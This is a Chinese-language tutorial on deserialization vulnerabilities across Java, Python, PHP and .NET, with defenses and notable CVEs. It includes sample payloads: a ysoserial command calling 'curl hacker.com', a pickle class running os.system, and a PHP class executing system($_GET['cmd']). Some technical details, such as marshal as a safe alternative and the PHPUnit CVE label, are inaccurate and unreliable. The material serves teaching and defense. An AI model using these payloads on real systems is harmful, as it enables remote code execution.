1. 反序列化漏洞核心原理
反序列化是将序列化的数据(如JSON/XML/二进制)还原为对象的过程。当程序反序列化不可信数据时,攻击者通过精心构造的恶意数据可实现:
-
任意代码执行(RCE)
-
内存破坏(如缓冲区溢出)
-
敏感信息泄露
高危语言:
🔥 Java(Apache Commons Collections)
🔥 Python(pickle模块)
🔥 PHP(__wakeup魔术方法)
🔥 .NET(BinaryFormatter)
2. 攻击类型与漏洞链条
(1) Java反序列化(Apache Commons为例)
// 恶意序列化数据生成
ObjectInputStream ois = new ObjectInputStream(evilPayload);
ois.readObject(); // 触发漏洞
利用链:AnnotationInvocationHandler
→ TransformedMap
→ InvokerTransformer
工具:
-
ysoserial(生成Payload)
-
java -jar ysoserial.jar CommonsCollections5 'curl hacker.com' > payload.bin
(2) Python pickle漏洞
import pickle
import base64
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
pickle.dump(Evil(), open('payload.pkl','wb'))
防御方案:使用json
或marshal
替代
(3) PHP对象注入
// 漏洞代码
unserialize($_COOKIE['data']);
// 恶意对象
class Evil {
function __wakeup() {
system($_GET['cmd']);
}
}
echo serialize(new Evil());
// 输出:O:4:"Evil":0:{}
3. 高级绕过技术
(1) 反射型链构造
-
利用
java.lang.reflect.Proxy
动态代理 -
通过
Method.invoke()
调用任意方法
(2) 二次反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject(); // 第一次反序列化
// 恶意对象触发第二次反序列化
if (obj instanceof Runnable) {
((Runnable) obj).run();
}
(3) 内存布局攻击(.NET)
-
篡改
SerializationInfo
对象内存结构 -
利用
ISerializable
接口实现类型混淆
4. 自动化漏洞检测
工具 | 适用语言 | 功能 |
---|---|---|
ysoserial | Java | 生成反序列化Payload |
phpggc | PHP | 生成POP链 |
dottyserial | .NET | 可视化链构造 |
GadgetProbe | 多语言 | 探测可用组件 |
Burp插件:
-
JavaSerialKiller(实时检测Java反序列化)
-
Freddy(自动化扫描.NET)
5. 企业级防御方案
(1) 代码层防护
-
白名单校验(仅允许安全类)
-
ObjectInputFilter filter = info -> info.serialClass().getName().equals("SafeClass") ? Status.ALLOWED : Status.REJECTED;
- 签名验证(HMAC校验数据完整性)
-
import hmac key = b'secret' data = request.get_data() if not hmac.compare_digest(hmac.new(key, data).hexdigest(), request.headers['X-Signature']): abort(403)
**(2) 架构层防护
-
沙箱环境(单独容器运行反序列化)
-
RASP防护(实时阻断危险行为)
-
# OpenRASP配置示例 { "hook": [ { "class": "java.io.ObjectInputStream", "method": "readObject", "action": "block" } ] }
(3) 云原生方案
-
服务网格mTLS(防止流量劫持)
-
策略即代码(OPA策略示例):
-
deny[msg] { input.kind == "Deserialization" not input.signer == "trusted" msg := "Untrusted deserialization attempt" }
6. 历史经典漏洞
CVE | 影响组件 | 后果 |
---|---|---|
CVE-2015-4852 | Apache Commons Collections | RCE |
CVE-2017-9841 | PHPUnit | 远程代码执行 |
CVE-2020-2555 | WebLogic | 服务器接管 |
CVE-2021-44228 | Log4j2 | 全球性RCE |
Log4j2攻击链:JNDI Lookup
→ LDAP注入
→ 远程类加载
7. 安全开发实践
-
避免反序列化接口暴露
-
禁用
ObjectInputStream
直接接收网络数据
-
-
升级组件版本
<!-- Maven示例 -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version> <!-- 安全版本 -->
</dependency>
- 日志监控关键词
-
java.io.ObjectInputStream
-
InvokerTransformer
-
\xac\xed
(Java序列化魔术字)
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容